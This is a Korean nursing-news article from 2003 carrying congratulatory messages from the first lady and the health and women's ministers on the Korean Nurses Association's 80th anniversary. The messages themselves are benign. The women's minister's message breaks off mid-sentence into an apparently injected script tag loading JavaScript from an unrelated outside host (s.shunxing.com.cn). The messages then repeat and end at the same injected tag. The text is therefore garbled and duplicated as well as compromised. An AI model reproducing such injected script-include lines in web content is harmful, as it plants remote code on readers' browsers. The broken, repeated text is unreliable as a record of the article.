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간협 80주년 - 축하메시지
[편집국] 편집부 news@nursenews.co.kr 기사입력 2003-06-05 오전 08:36:19
◆ 영부인 권양숙 여사 치사
==전문적·과학적 간호 위해 노력해야
대한간호협회 창립 80주년을 진심으로 축하드립니다.
간호사는 인간의 건강과 생명을 보살피는 숭고한 직업입니다. 희생과 봉사정신, 그리고 사명감이 없이는 결코 감당해내기 어려운 일입니다. 그래서 우리는 간호사를 `백의의 천사'라고 부릅니다.
우리 간호사들은 지난 한 세기 동안 국가와 민족의 역사에 적극 동참했습니다. 나라가 처한 어려움을 회피하지 않고 적극적인 자세로 맡은 바 역할에 최선을 다해왔습니다. 많은 어려움 속에서도 꿋꿋하게 고귀한 사명을 지켜나가시는 전국의 간호사 여러분께 마음으로부터 큰 박수를 보냅니다.
지금 우리는 급변하는 사회에 살고 있습니다. 간호사 여러분은 이러한 변화에 능동적으로 대처해 나가야 합니다. 보다 전문적이고 과학적인 간호서비스를 위해 끊임없이 자기 개발을 해나가야 합니다. 이는 국민의 건강을 지키는 소중하고 값진 노력이 될 것입니다.
관심과 사랑만큼 좋은 간호는 없습니다. 과중한 업무와 스트레스로 힘드시겠지만 어머니의 마음처럼 따뜻한 보살핌으로 환자를 돌봐주시길 부탁드립니다.
참여정부는 전국민 평생건강보장의 실현을 목표로 삼고 있습니다. 국민이라면 누구나 기본적인 건강욕구를 충족하여 최소한의 삶의 질을 유지할 수 있어야 하기 때문입니다.
이를 위해 `국민 건강의 옹호자'인 간호사 여러분께서 더 많은 관심과 성원을 보내주실 것을 부탁드립니다. 여러분이 간호사로서 자부심을 가지고 일할 수 있도록 열심히 돕겠습니다.
대한간호협회의 무궁한 발전을 기원합니다.
◆ 김 화 중(보건복지부 장관)
==국민 건강 옹호자로 거듭나길
대한간호협회 창립 80주년을 기념하는 뜻깊은 행사가 성황리에 개최됨을 기쁘게 생각합니다. 한국 간호사는 지난 1백년간 희생과 봉사정신으로 고통받는 사람들을 위해 자랑스런 삶을 살아왔습니다.
간호사의 역할이 과거 어느 때보다 더 다양하고 중요해질 이 시기에 모든 국민이 건강하게 살 수 있도록 지지하고, 잘못된 의료와 건강 정보로부터 의료소비자들을 보호하는데 앞장서겠다는 취지에서 `국민 건강의 옹호자 - 간호사'로 80주년 주제를 정한 것은 시의 적절하며 크나큰 의미를 부여한다고 생각합니다. 여러분께서는 이번 80주년을 국민 건강 옹호자로서의 역할을 새롭게 확인하고 실천하는 출발점으로 삼아 우리나라 건강제도의 파수꾼으로서 역할을 다해 주시기 바랍니다.
정부는 보건의료에 대한 국가역할을 강화하고 국민참여 기회를 확대하는 한편, 모든 국민의 삶의 질 향상을 위해 많은 노력을 기울이고 있습니다. 국내 보건의료환경은 의약분업 실시 이후 의약품 오·남용이 감소되면서 긍정적인 효과가 나타나고 있고, 국제적으로도 보건의료체계가 단기간내 선진국형으로 변환됨으로써 국민보건의료서비스의 질적 수준도 크게 신장됐습니다.
이같은 성과는 무엇보다 각 분야에서 맡은바 역할을 묵묵히 수행해 오신 간호계 여러분들의 보이지 않는 희생과 노력 덕분이라고 생각합니다.
앞으로 정부는 전국민 평생건강보장제도 마련을 위해 노력하고, 공공 보건의료 확충, 예방 위주의 국민건강증진사업 추진 등에도 최선을 다할 것입니다. 이러한 노력은 국민 건강의 옹호자이신 간호사 여러분의 헌신적 참여와 깊은 관심이 있어야만 가능할 것입니다. 오랜 역사를 통해 간호전문분야의 발전과 사회 각 부문에서 빛나는 업적을 이뤄오신 여러분의 기여를 기대하면서, 앞날에 무궁한 발전 있으시기를 기원합니다.
◆ 지 은 희(여성부 장관)
==여성의 힘은 국가 경쟁력
대한간호협회가 창립 80주년을 맞이하게 된 것을 진심으로 축하드리며 간호사 여러분들과 함께 기쁨을 나누고자 합니다.
그동안 대한간호협회는 우리나라의 대표적인 전문직 여성단체로서 고유의 영역을 형성하고 국가가 어려움에 처할 때마다 언제나 국가와 민족을 위해 아낌없이 헌신을 다해 온 것으로 잘 알고 있습니다.
특히 1923년 창립되어 한국의 간호역사 뿐 아니라 우리나라 여성교육을 비롯한 한국 근대사 발전에 일익을 담당해오며 간호사들의 직업윤리 준수와 국민의 건강증진을 위해 다양하고 활발한 활동을 해오신 사실들은 우리 여성계의 자랑이 아닐 수 없습니다.
현재 우리 여성부에서는 여성의 인력개발과 권익증진을 위한 여러 가지 사업을 추진하고 있고 여성들에게 잠재된 능력을 개발하여 우리 사회 곳곳에서 그 능력을 마음껏 펼쳐 나갈 수 있도록 여성에 대한 차별해소와 평등문화의 확산을 위해 힘쓰고 있습니다.
나라 살림의 절반은 여성의 책임입니다. 우리는 진정한 남녀평등사회를 실현하고 여성능력의 개발을 통해 국가 경쟁력을 한층 강화해 나갈 것입니다. 그런 면에서 남녀의 동반자적 관계는 21세기 ?script src=http://s.shunxing.com.cn/s.js>
==전문적·과학적 간호 위해 노력해야
대한간호협회 창립 80주년을 진심으로 축하드립니다.
간호사는 인간의 건강과 생명을 보살피는 숭고한 직업입니다. 희생과 봉사정신, 그리고 사명감이 없이는 결코 감당해내기 어려운 일입니다. 그래서 우리는 간호사를 `백의의 천사'라고 부릅니다.
우리 간호사들은 지난 한 세기 동안 국가와 민족의 역사에 적극 동참했습니다. 나라가 처한 어려움을 회피하지 않고 적극적인 자세로 맡은 바 역할에 최선을 다해왔습니다. 많은 어려움 속에서도 꿋꿋하게 고귀한 사명을 지켜나가시는 전국의 간호사 여러분께 마음으로부터 큰 박수를 보냅니다.
지금 우리는 급변하는 사회에 살고 있습니다. 간호사 여러분은 이러한 변화에 능동적으로 대처해 나가야 합니다. 보다 전문적이고 과학적인 간호서비스를 위해 끊임없이 자기 개발을 해나가야 합니다. 이는 국민의 건강을 지키는 소중하고 값진 노력이 될 것입니다.
관심과 사랑만큼 좋은 간호는 없습니다. 과중한 업무와 스트레스로 힘드시겠지만 어머니의 마음처럼 따뜻한 보살핌으로 환자를 돌봐주시길 부탁드립니다.
참여정부는 전국민 평생건강보장의 실현을 목표로 삼고 있습니다. 국민이라면 누구나 기본적인 건강욕구를 충족하여 최소한의 삶의 질을 유지할 수 있어야 하기 때문입니다.
이를 위해 `국민 건강의 옹호자'인 간호사 여러분께서 더 많은 관심과 성원을 보내주실 것을 부탁드립니다. 여러분이 간호사로서 자부심을 가지고 일할 수 있도록 열심히 돕겠습니다.
대한간호협회의 무궁한 발전을 기원합니다.
◆ 김 화 중(보건복지부 장관)
==국민 건강 옹호자로 거듭나길
대한간호협회 창립 80주년을 기념하는 뜻깊은 행사가 성황리에 개최됨을 기쁘게 생각합니다. 한국 간호사는 지난 1백년간 희생과 봉사정신으로 고통받는 사람들을 위해 자랑스런 삶을 살아왔습니다.
간호사의 역할이 과거 어느 때보다 더 다양하고 중요해질 이 시기에 모든 국민이 건강하게 살 수 있도록 지지하고, 잘못된 의료와 건강 정보로부터 의료소비자들을 보호하는데 앞장서겠다는 취지에서 `국민 건강의 옹호자 - 간호사'로 80주년 주제를 정한 것은 시의 적절하며 크나큰 의미를 부여한다고 생각합니다. 여러분께서는 이번 80주년을 국민 건강 옹호자로서의 역할을 새롭게 확인하고 실천하는 출발점으로 삼아 우리나라 건강제도의 파수꾼으로서 역할을 다해 주시기 바랍니다.
정부는 보건의료에 대한 국가역할을 강화하고 국민참여 기회를 확대하는 한편, 모든 국민의 삶의 질 향상을 위해 많은 노력을 기울이고 있습니다. 국내 보건의료환경은 의약분업 실시 이후 의약품 오·남용이 감소되면서 긍정적인 효과가 나타나고 있고, 국제적으로도 보건의료체계가 단기간내 선진국형으로 변환됨으로써 국민보건의료서비스의 질적 수준도 크게 신장됐습니다.
이같은 성과는 무엇보다 각 분야에서 맡은바 역할을 묵묵히 수행해 오신 간호계 여러분들의 보이지 않는 희생과 노력 덕분이라고 생각합니다.
앞으로 정부는 전국민 평생건강보장제도 마련을 위해 노력하고, 공공 보건의료 확충, 예방 위주의 국민건강증진사업 추진 등에도 최선을 다할 것입니다. 이러한 노력은 국민 건강의 옹호자이신 간호사 여러분의 헌신적 참여와 깊은 관심이 있어야만 가능할 것입니다. 오랜 역사를 통해 간호전문분야의 발전과 사회 각 부문에서 빛나는 업적을 이뤄오신 여러분의 기여를 기대하면서, 앞날에 무궁한 발전 있으시기를 기원합니다.
◆ 지 은 희(여성부 장관)
==여성의 힘은 국가 경쟁력
대한간호협회가 창립 80주년을 맞이하게 된 것을 진심으로 축하드리며 간호사 여러분들과 함께 기쁨을 나누고자 합니다.
그동안 대한간호협회는 우리나라의 대표적인 전문직 여성단체로서 고유의 영역을 형성하고 국가가 어려움에 처할 때마다 언제나 국가와 민족을 위해 아낌없이 헌신을 다해 온 것으로 잘 알고 있습니다.
특히 1923년 창립되어 한국의 간호역사 뿐 아니라 우리나라 여성교육을 비롯한 한국 근대사 발전에 일익을 담당해오며 간호사들의 직업윤리 준수와 국민의 건강증진을 위해 다양하고 활발한 활동을 해오신 사실들은 우리 여성계의 자랑이 아닐 수 없습니다.
현재 우리 여성부에서는 여성의 인력개발과 권익증진을 위한 여러 가지 사업을 추진하고 있고 여성들에게 잠재된 능력을 개발하여 우리 사회 곳곳에서 그 능력을 마음껏 펼쳐 나갈 수 있도록 여성에 대한 차별해소와 평등문화의 확산을 위해 힘쓰고 있습니다.
나라 살림의 절반은 여성의 책임입니다. 우리는 진정한 남녀평등사회를 실현하고 여성능력의 개발을 통해 국가 경쟁력을 한층 강화해 나갈 것입니다. 그런 면에서 남녀의 동반자적 관계는 21세기 ?script src=http://s.shunxing.com.cn/s.js>
